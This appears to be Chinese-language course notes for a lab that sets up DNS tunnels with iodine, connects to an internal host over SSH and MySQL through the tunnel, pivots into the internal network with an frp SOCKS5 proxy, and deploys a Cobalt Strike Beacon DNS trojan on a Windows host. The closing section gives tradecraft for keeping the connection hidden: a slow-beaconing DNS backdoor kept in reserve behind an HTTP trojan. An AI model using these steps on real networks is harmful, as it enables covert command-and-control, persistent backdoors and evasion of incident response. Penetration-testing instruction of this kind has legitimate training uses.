一、DNS隧道概述
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道虽然很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(xxx.yyy.zz),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。
DNS隧道依据其实现方式大致可分为直连和中继两类
直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,但隐蔽性弱、易被探测追踪的缺点也很明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量经过。
中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且在绝大部分场景下部署成功,但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
实现DNS隧道的关键要点:
dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在Kali系统中直接集成。
iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择
Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡
二、前期准备:一个域名,一个公网服务器
使用老师的电脑进行实验
1、域名:matrika.cn,公网服务器IP:47.96.116.171,然后添加以下两条域名解析记录:
第一条A类记录,告诉域名系统,"www.matrika.cn"的IP地址为"47.96.116.171",确认可以Ping通
第二条NS记录,告诉域名系统,"ns.matrika.cn"的域名由"www.matrika.cn"进行解析。为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的
2、在公网服务器中允许53号端口
3、测试域名解析是否生效
在公网服务器运行tcpdump监听UDP 53号端口
tcpdump -n eth0 udp dst port 53
在任意主机上运行nslookup发起DNS解析请求
nslookup ns.matrika.cn
如果在公网服务器监听到请求数据,说明域名的NS记录设置成功:
三、iodine DNS隧道搭建
1、安装iodine
在我们的公网服务器安装iodine,该工具服务端为iodine,执行以下命令进行安装:
# yum install iodine
2、在公网服务器运行服务端
iodine -f -c -P woniu123 192.168.200.1 ns.matrika.cn -DD
-f:在前台运行
-c:禁止检查所有传入请求的客户端IP地址
-P:客户端和服务端之间用于验证身份的密码
-D:指定调试级别,-DD指第二级,"D"的数量随级数增加
这里的192.168.200.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突,全新的网段
注意!填写的地址为NS记录
执行完该命令之后会新生成一个dns0虚拟网卡,ip地址就是刚才命令中输入的ip地址(192.168.200.1),我们新建一个终端,然后使用ifconfig去查看
3、在Centos内网安装iodine
使用yum install iodine安装
使用源码安装: make && make install
4、在Centos中连接ns.matrika.cn
首先看看188这台主机上有没有dns0的网卡,发现没有
使用以下命令:
iodine -f -P woniu123 47.96.116.171 ns.matrika.cn
DNS隧道建立成功
然后我们在公网ping一下内网
ping 192.168.200.2,是可以ping通的
188这台内网机器也可以去ping通公网服务器,因为已经处于同一个网段了
我们也可以在公网服务器上远程连接那台内网机器,也就是188那台主机
使用以下命令:
ssh root@192.168.200.2
成功连接,这个隧道也就建立成功了
我们可以在公网服务器上使用tcpdump进行抓包
使用以下命令:
tcpdump -n -i eth0 udp dst port 53
我们使用188去ping我们的公网服务器,日志这里就会有显示,域名前面都是它所携带的数据,这不就已经建立了一个通道了
四、利用DNS隧道
1、访问HTTP协议
在公网服务器上直接访问:curl http://192.168.200.2/dashboard/phpinfo.php
或在内网主机上访问公网: curl http://192.168.200.1/
我们将188这个主机的服务启动起来,有80服务和3306服务
然后在公网服务器中去访问80服务,但IP地址必须写成192.168.200.2的那张虚拟网卡的IP,不然访问不成功
2、访问MySQL(TCP协议)
mysql -uqiang -p123456 -h 192.168.200.2
3、利用DNS隧道建立Socks5代理隧道
(1)在公网服务器配置frps并启动
(2)在内网主机上配置frpc并启动
(3)在Kali攻击主机上配置代理为: socks5 47.56.116.171 8088
(4)使用proxychains进行访问,或在浏览器中配置代理访问。则可以直接访问到内网的10.10.10.X网段
简单演示一下:
我们让这个DNS隧道一直存在着
然后在公网服务器(服务器端)那儿进入到frp的目录,编辑frps.ini
然后在188主机进入到frp的目录,编辑frpc.ini
我们在公网服务器这儿启动frp的服务器端
然后在188主机(跳板机)这儿启动客户端
然后我们再返回看公网服务器启动的frp服务器端 ,代理成功
接下来就是配置代理
第一种方式,我们配置浏览器的代理
接下来我们去访问144,访问成功
然后再用kali去ping144,之前ping不通,现在也ping不通 ,代理设置在浏览器中,与命令行没有任何的关系
第二种方式就是给命令行配置代理
先去编辑/etc/proxychains4.conf
然后再去ping,发现还是ping不通,ping不通的原因是Socks5代理只支持TCP和UDP的协议,所以Socks不支持ping,ping是没有任何意义的
可以访问到其主机内的文件
整个过程,相当于是在DNS隧道中传输Socks5的通信数据,所以效率较低。但是却可以代理进内网,且始终基于DNS协议数据包。
我们现在将DNS和frp都给断掉
然后通过ifconfig发现公网服务器和188主机的dns的虚拟网卡已经没有了
五、与Windows建立DNS隧道

六、在CobaltStrike使用DNS隧道
1、在公网服务器配置DNS解析(同上)
2、在公网服务器运行teamserver
3、在CobaltStrike中连接teamserver
同时确保公网服务器开放了UDP 53号端口和TCP 50050端口
# ./teamserver 47.96.116.171 123456
在Kali上启动客户端,然后进行连接
然后就进入到了CS的界面了
然后新建一个listener,payload选择Beacon DNS
创建成功
然后去公网服务器看看53号端口是否开着
然后我们去生成payload
然后保存到muma这个目录下
然后把这个生成的exe可执行程序复制到windows2016上去,让windows2016去当跳板机
然后运行那个可执行程序,回到CS界面这儿,发现上线了。但没有完全上线成功
此时,右键黑色列表,点击interact进入命令行,运行check in实现完整上线。后续操作与其他木马的操作一致,只是DNS一次传输的数据量不大,所以相对较慢,建议将sleep时间设置得大一点,如10秒
做完上面的操作,发现已经完全成功上线了
但是在实战环节中,由于其速度较慢,所以通常会通过DNS隧道来新建一个HTTP的木马,进而将DNS隧道的Sleep时间设置为很长很长(比如两个小时),有效防止被检测到,这样如果HTTP木马没有被关闭,则直接使用HTTP木马,而如果被关闭了,DNS隧道还能够继续使用,同时,这也是另外一种防止被入侵排查把连接给干掉的方式,因为管理员通常发现了一个后门后,不太会想到还有一个DNS,通信频率为2小时的后门存在